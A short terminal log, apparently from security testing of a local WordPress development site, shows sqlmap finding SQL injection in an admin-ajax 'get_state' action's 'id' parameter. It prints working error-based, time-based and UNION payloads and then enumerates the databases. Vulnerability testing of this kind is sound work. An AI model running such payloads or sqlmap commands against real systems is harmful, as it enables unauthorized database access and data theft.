sqlmap.py -u "https://wp-dev.ddev.site:443/wp-admin/admin-ajax.php" --data="action=get_state&id=uk" --level 2 --risk 2 --dbms mysql -dbs -p id

POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 1839 HTTP(s) requests:
---
Parameter: id (POST)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: action=get_state&id=-4023 OR 1 GROUP BY CONCAT(0x71626a7071,(SELECT (CASE WHEN (5717=5717) THEN 1 ELSE 0 END)),0x716b767071,FLOOR(RAND(0)*2)) HAVING MIN(0)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: action=get_state&id=(CASE WHEN (4695=4695) THEN SLEEP(5) ELSE 4695 END)

    Type: UNION query
    Title: MySQL UNION query (random number) - 9 columns
    Payload: action=get_state&id=-4877 UNION ALL SELECT 4325,4325,4325,4325,4325,4325,4325,4325,CONCAT(0x71626a7071,0x766a504d7043656b517443675871505768496c43747a7666764d70506d55785067764e45524f6647,0x716b767071)#
---
[11:15:23] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[11:15:23] [INFO] fetching database names
available databases [3]:
[*] db
[*] information_schema
[*] test